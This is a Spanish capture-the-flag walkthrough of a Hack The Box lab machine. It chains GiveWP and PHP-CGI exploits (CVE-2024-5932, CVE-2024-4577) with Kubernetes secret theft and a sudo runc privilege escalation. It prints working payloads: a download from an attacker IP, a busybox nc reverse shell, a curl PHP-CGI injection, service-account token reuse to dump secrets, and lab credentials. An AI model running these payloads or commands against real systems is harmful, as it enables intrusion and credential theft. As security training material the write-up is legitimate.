Imagen del post

Resumen

Esta máquina combina una cadena de compromiso bastante completa: explotación de un plugin vulnerable de WordPress, pivoting hacia una red interna de Kubernetes, explotación de PHP-CGI en un contenedor legacy, y finalmente escalada de privilegios abusando de un binario con permisos de sudo que gestiona contenedores OCI. El recorrido pasa por tres contenedores distintos antes de llegar al nodo host.

Reconocimiento

Empiezo con un escaneo de puertos:

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCNmct03SP9FFs6NQ+Pih2m65SYS/Kte9aGv3C8l43TJGj2UcSrcheEX2jBL/jbje/HRafbJcGqz1bKeQo1cbAc=
|   256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICjor5/gXrTqGEWiETEzhgoni1P2kXV3B4O2/v2SGnH0
80/tcp    open  http    syn-ack ttl 62 nginx 1.28.0
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
|_http-server-header: nginx/1.28.0
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-generator: WordPress 6.8.1
30686/tcp open  http    syn-ack ttl 63 Golang net/http server
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json).
|_http-favicon: Unknown favicon MD5: 078C07D5669A42740EF813D5300EBA4D
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Thu, 06 Nov 2025 11:10:54 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|     "serviceProxyHealthy": true
|   GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Load-Balancing-Endpoint-Weight: 1
|     Date: Thu, 06 Nov 2025 11:10:39 GMT
|     Content-Length: 127
|     "service": {
|     "namespace": "default",
|     "name": "wp-nginx-service"
|     "localEndpoints": 1,
|_    "serviceProxyHealthy": true

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El puerto 80 sirve un WordPress 6.8.1. El puerto 30686 expone un endpoint JSON que identifica el servicio interno wp-nginx-service, lo que ya me indica que estamos ante un entorno Kubernetes.

Imagen del post

Imagen del post

Acceso Inicial (Foothold)

Explotación de GiveWP (CVE-2024-5932)

La web incluye una página de donaciones gestionada por el plugin GiveWP. Este plugin en ciertas versiones es vulnerable a una inyección de objetos PHP (CVE-2024-5932) que deriva en ejecución remota de código (RCE) debido a una deserialización insegura.

Imagen del post

https://www.skshieldus.com/download/files/download.do?o_fname=Research%20Technique_PHP%20Object%20Injection%20Vulnerability%20in%20WordPress%20GiveWP%20(CVE-2024-5932).pdf&r_fname=20240927174114070.pdf

Hay un PDF público con el análisis técnico y PoC:

La vulnerabilidad permite deserialización PHP no confiable, lo que lleva a ejecución de código remoto. La exploto y obtengo una reverse shell.

Imagen del post

Imagen del post

Enumeración del contenedor WordPress

Leo wp-config.php y obtengo las credenciales:

WordPress Admin:

  • Usuario: user
  • Contraseña: O8F7KR5zGi

Base de Datos:

  • Host: beta-vino-wp-mariadb (10.43.147.82)
  • Usuario: bn_wordpress
  • Contraseña: sW5sp4spa3u7RLyetrekE4oS
  • Base de datos: bitnami_wordpress

Del output de env identifico un servicio interno muy interesante:

LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000

Este contenedor está en un entorno Docker muy limitado, así que para poder alcanzar la red interna necesito hacer pivoting.

Pivoting con Ligolo-ng

Para alcanzar la red interna 10.43.0.0/16, utilizo Ligolo-ng. Dado que el entorno del contenedor es restrictivo, transfiero el agente de Ligolo utilizando un one-liner de PHP:

php -r '$file = file_get_contents("http://10.10.14.7:8081/agent"); file_put_contents("agent",$file);'

Usamos Ligolo-ng para el pivoting.

Imagen del post

Conecto el agente:

./agent -ignore-cert -connect 10.10.14.7:11601 &

Imagen del post

Imagen del post

Añado las rutas necesarias en el proxy:

ligolo-ng » route_add --route 10.43.0.0/16 --name intimatebourgui 
ligolo-ng » route_add --route 10.42.0.0/16 --name intimatebourgui

Explotación de PHP-CGI (CVE-2024-4577)

Con el túnel establecido, alcanzo el servicio interno en 10.43.2.241:5000. Detecto que está ejecutando una versión vulnerable de PHP-CGI. Utilizo un exploit para CVE-2024-4577, enviando la carga útil mediante curl para poder visualizar la respuesta.

Imagen del post

Imagen del post

link_preview

Con el exploit no podiamos ver el resultado de la respuesta del servidor pero funcionaba.

Primero, verifico ejecución de comandos:

┌──(kali㉿kali)-[~/Desktop/HTB/Giveback/exploit]
└─$ curl -s -X POST "http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input" --data "id"
[START]uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[END]

Luego, lanzo una reverse shell empleando busybox:

└─$ curl -s -X POST "http://10.43.2.241:5000/cgi-bin/php-cgi?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input" --data "/bin/busybox nc 10.10.14.231 4441 -e /bin/sh |sh"                             


VARIABLES DE ENTORNO
env
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=legacy-intranet-cms-6f7bf5db84-lfw7l
PHP_INI_DIR=/usr/local/etc/php
BETA_VINO_WP_WORDPRESS_SERVICE_PORT=80
BETA_VINO_WP_WORDPRESS_PORT=tcp://10.43.61.204:80
WP_NGINX_SERVICE_PORT=tcp://10.43.4.242:80
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
WP_NGINX_SERVICE_SERVICE_PORT=80
SHLVL=4
PHP_CGI_VERSION=8.3.3
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
HOME=/root
OLDPWD=/var/www
PHP_LDFLAGS=-Wl,-O1 -pie
LEGACY_CGI_ENABLED=true
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR=10.43.61.204
BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR=10.43.147.82
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
WP_NGINX_SERVICE_PORT_80_TCP_ADDR=10.43.4.242
PHP_VERSION=8.3.3
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_MODE=enabled
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT=80
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT=3306
GPG_KEYS=1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO=tcp
WP_NGINX_SERVICE_PORT_80_TCP_PORT=80
BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO=tcp
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_ASC_URL=https://www.php.net/distributions/php-8.3.3.tar.xz.asc
BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL=3306
WP_NGINX_SERVICE_PORT_80_TCP_PROTO=tcp
PHP_URL=https://www.php.net/distributions/php-8.3.3.tar.xz
PHP_MAX_EXECUTION_TIME=120
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
BETA_VINO_WP_MARIADB_PORT=tcp://10.43.147.82:3306
BETA_VINO_WP_MARIADB_SERVICE_PORT=3306
BETA_VINO_WP_WORDPRESS_PORT_80_TCP=tcp://10.43.61.204:80
KUBERNETES_PORT_443_TCP_PORT=443
BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR=10.43.61.204
PHP_MEMORY_LIMIT=128M
WP_NGINX_SERVICE_PORT_80_TCP=tcp://10.43.4.242:80
KUBERNETES_PORT_443_TCP_PROTO=tcp
CMS_ENVIRONMENT=development
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT=443
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO=tcp
BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP=80
WP_NGINX_SERVICE_SERVICE_PORT_HTTP=80
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
PHPIZE_DEPS=autoconf            dpkg-dev dpkg           file            g++             gcc             libc-dev                make            pkgconf                 re2c
KUBERNETES_SERVICE_HOST=10.43.0.1
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
PWD=/var
PHP_SHA256=b0a996276fe21fe9ca8f993314c8bc02750f464c7b0343f056fb0894a8dfa9d1
BETA_VINO_WP_WORDPRESS_PORT_443_TCP=tcp://10.43.61.204:443
BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS=443
BETA_VINO_WP_WORDPRESS_SERVICE_HOST=10.43.61.204
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT=5000
LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO=tcp
WP_NGINX_SERVICE_SERVICE_HOST=10.43.4.242

Ya estoy dentro del contenedor legacy como root.

Explotación de Kubernetes

Revisando el entorno de este nuevo contenedor, busco los tokens del Service Account de Kubernetes montados por defecto:

# Buscar service account tokens
find /var/run/secrets/kubernetes.io/serviceaccount /run/secrets/kubernetes.io/serviceaccount -type f 2>/dev/null

# Leer el token de servicio
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Leer namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# Leer CA cert
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Con el token capturado, realizo consultas a la API de Kubernetes para extraer todos los secretos del namespace default:

SECTRETOS KUBERNETES:

cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/namespace
default

cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/ca.crt

-----BEGIN CERTIFICATE-----
MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk
9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy
Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45
cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ==
-----END CERTIFICATE-----

cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/token
eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzOTc3MTE3LCJpYXQiOjE3NjI0NDExMTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZDI1ZTAyYzAtZDM2Zi00ZDE0LWFiYjEtMmYxZDA3OTEwMTk5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LXpjeDg4IiwidWlkIjoiNjEyYmJmZjMtOTQ3NS00ZGVmLTg2MjQtNTI1ODI4MzAwNDAzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjQ0NDcyNH0sIm5iZiI6MTc2MjQ0MTExNywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.QBBz0GhCwwg-X12f2akCz4vbMq3bg7_tYRbZfGN38qiiCEMNxtNv-NLLmFzZPSIPAZQAwOAik6AaIqclREuGBZITEUVnJ0e4ra7EH5koVHucEZO5DX8tUe46EgWl_tTZ92WcCWcLn9_LmLdAO4Wo6hfTeiTp5yMVz69uU0osxUWSUDN3pJLPtjGu_KCZZKGd57XOd0oMx-fkqUMQtPyE9h65ifQfppxadANB9LFzwhhe0NMVqPfAoBEhU8gFAx_PxB0USj7wshslvhLemDpZXFKjMNDICvq0RZMyx__06TdFx1Pbv71YeO12j4jdVtbkxaZSw8HVDqoY5wBJiIkajA
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl https://kubernetes.default.svc/api/v1/namespaces/default/secrets \
  -H "Authorization: Bearer $TOKEN" \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | grep "password"

El output en JSON:

"mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
        "mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "beta-vino-wp-wordpress",
        "namespace": "default",
        "uid": "1cbbc5ac-1611-46af-8033-09e98dfc546b",
        "resourceVersion": "2088228",
        "creationTimestamp": "2024-09-21T22:17:31Z",
        "labels": {
          "app.kubernetes.io/instance": "beta-vino-wp",
          "app.kubernetes.io/managed-by": "Helm",
          "app.kubernetes.io/name": "wordpress",
          "app.kubernetes.io/version": "6.8.2",
          "helm.sh/chart": "wordpress-25.0.5"
        },
        "annotations": {
          "meta.helm.sh/release-name": "beta-vino-wp",
          "meta.helm.sh/release-namespace": "default"
        },
        "managedFields": [
          {
            "manager": "helm",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-08-29T03:29:54Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:wordpress-password": {}
              },
              "f:metadata": {
                "f:annotations": {
                  ".": {},
                  "f:meta.helm.sh/release-name": {},
                  "f:meta.helm.sh/release-namespace": {}
                },
                "f:labels": {
                  ".": {},
                  "f:app.kubernetes.io/instance": {},
                  "f:app.kubernetes.io/managed-by": {},
                  "f:app.kubernetes.io/name": {},
                  "f:app.kubernetes.io/version": {},
                  "f:helm.sh/chart": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "wordpress-password": "TzhGN0tSNXpHaQ=="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "sh.helm.release.v1.beta-vino-wp.v58",
        "namespace": "default",
        "uid": "13034cd4-64e1-4e2e-9182-4ce0ffda27e8",
        "resourceVersion": "2123405",
        "creationTimestamp": "2025-08-30T05:17:49Z",
        "labels": {
          "modifiedAt": "1726957051",
          "name": "beta-vino-wp",
          "owner": "helm",
          "status": "superseded",
          "version": "58"
        },
        "managedFields": [
          {
            "manager": "Helm",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-08-30T05:21:45Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:release": {}
              },
              "f:metadata": {
                "f:labels": {
                  ".": {},
                  "f:modifiedAt": {},
                  "f:name": {},
                  "f:owner": {},
                  "f:status": {},
                  "f:version": {}
                }
              },
              "f:type": {}
            }
          }
        ]

    
    
    
    ...
    
    
    
    
    {
      "metadata": {
        "name": "user-secret-babywyrm",
        "namespace": "default",
        "uid": "1cbd499c-abc0-4486-a23a-5908566b4a81",
        "resourceVersion": "2855768",
        "creationTimestamp": "2025-11-06T15:10:26Z",
        "ownerReferences": [
          {
            "apiVersion": "bitnami.com/v1alpha1",
            "kind": "SealedSecret",
            "name": "user-secret-babywyrm",
            "uid": "a7f29546-2649-4112-8ebc-004a59c55d5e",
            "controller": true
          }
        ],
        "managedFields": [
          {
            "manager": "controller",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-11-06T15:10:26Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:MASTERPASS": {}
              },
              "f:metadata": {
                "f:ownerReferences": {
                  ".": {},
                  "k:{\"uid\":\"a7f29546-2649-4112-8ebc-004a59c55d5e\"}": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "MASTERPASS": "YnNvbHZGc3ZSenZJeTkyQjRnTTVYaUVOTlZjeUd2"
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "user-secret-margotrobbie",
        "namespace": "default",
        "uid": "7f5e8598-c037-491c-8b33-8f656b6dd75d",
        "resourceVersion": "2855838",
        "creationTimestamp": "2025-11-06T15:10:33Z",
        "ownerReferences": [
          {
            "apiVersion": "bitnami.com/v1alpha1",
            "kind": "SealedSecret",
            "name": "user-secret-margotrobbie",
            "uid": "9751159e-3ed7-4b87-b4a5-3b5835d9c21a",
            "controller": true
          }
        ],
        "managedFields": [
          {
            "manager": "controller",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-11-06T15:10:33Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:USER_PASSWORD": {}
              },
              "f:metadata": {
                "f:ownerReferences": {
                  ".": {},
                  "k:{\"uid\":\"9751159e-3ed7-4b87-b4a5-3b5835d9c21a\"}": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "USER_PASSWORD": "bzdlRFliSHR4eWNpVEZmMWhPbkFCTWN6MEo5VWNDcXg="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "user-secret-sydneysweeney",
        "namespace": "default",
        "uid": "3699af72-0224-464e-bc76-49924ddb0fed",
        "resourceVersion": "2855807",
        "creationTimestamp": "2025-11-06T15:10:31Z",
        "ownerReferences": [
          {
            "apiVersion": "bitnami.com/v1alpha1",
            "kind": "SealedSecret",
            "name": "user-secret-sydneysweeney",
            "uid": "2b19a959-177a-4328-93a7-851c548e1ba9",
            "controller": true
          }
        ],
        "managedFields": [
          {
            "manager": "controller",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-11-06T15:10:31Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:USER_PASSWORD": {}
              },
              "f:metadata": {
                "f:ownerReferences": {
                  ".": {},
                  "k:{\"uid\":\"2b19a959-177a-4328-93a7-851c548e1ba9\"}": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "USER_PASSWORD": "OElnQmxYUms0a2pCVkNWVHBaM2JZZEg4S3V0RFhncnQ="
      },
      "type": "Opaque"
    }
  ]
}

El output en JSON revela objetos tipo SealedSecret en Base64 con credenciales de usuarios del sistema host:

  • margotrobbie: o7eDYbHtxyciTFf1hOnABMcz0J9UcCqx
  • sydneysweeney: 8IgBlXRk4kjBVCVTpZ3bYdH8KutDXgrt
  • babywyrm: bsolvFsvRzvIy92B4gM5XiENNVcyGv

Los secretos de los users estan en base64.

margotrobbie
└─$ echo "bzdlRFliSHR4eWNpVEZmMWhPbkFCTWN6MEo5VWNDcXg=" | base64 -d 
o7eDYbHtxyciTFf1hOnABMcz0J9UcCqx


sydneysweeney
└─$ echo "OElnQmxYUms0a2pCVkNWVHBaM2JZZEg4S3V0RFhncnQ=" | base64 -d 
8IgBlXRk4kjBVCVTpZ3bYdH8KutDXgrt


babywyrm
└─$ echo "YnNvbHZGc3ZSenZJeTkyQjRnTTVYaUVOTlZjeUd2" | base64 -d 
bsolvFsvRzvIy92B4gM5XiENNVcyGv

También encuentro un secreto asociado a MariaDB:

  • mariadb-password: c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T

Me conecto por SSH al host usando las credenciales obtenidas: babywyrm:bsolvFsvRzvIy92B4gM5XiENNVcyGv y capturo la User Flag.

Imagen del post

Escalada de Privilegios

Enumero los permisos del usuario babywyrm en el host y observo que puede ejecutar un binario particular con sudo:

babywyrm@giveback:~$ sudo /opt/debug run root

Al ejecutarlo, el binario solicita una “administrative password”. Tras probar un poco, confirmo que valida contra la contraseña de MariaDB que extraje de K8s (c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T).

Imagen del post

Creamos una configuración del sistema con el comando inyectado “$ cat /root/root.txt”

Imagen del post

El binario es un wrapper de runc (una CLI para ejecutar contenedores OCI). Al ejecutar el comando, obtengo un error indicando que falta el sistema de ficheros raíz del contenedor:

babywyrm@giveback:~/readflag/lala$ sudo /opt/debug run root
Validating sudo...
Please enter the administrative password: 

Both passwords verified. Executing the command...
ERRO[0000] runc run failed: invalid rootfs: stat /home/babywyrm/readflag/lala/rootfs: no such file or directory

Para engañar al wrapper y lograr ejecución, creo la estructura de directorios básica que runc espera en un rootfs:

mkdir rootfs cd rootfs/ mkdir bin dev proc lib lib64 root usr

A partir de aquí, con la estructura de un contenedor válida (y previsiblemente configurando un config.json que monte el directorio raíz / del host en el contenedor), se logra la ejecución del comando o la lectura de la flag para comprometer totalmente la máquina.

Imagen del post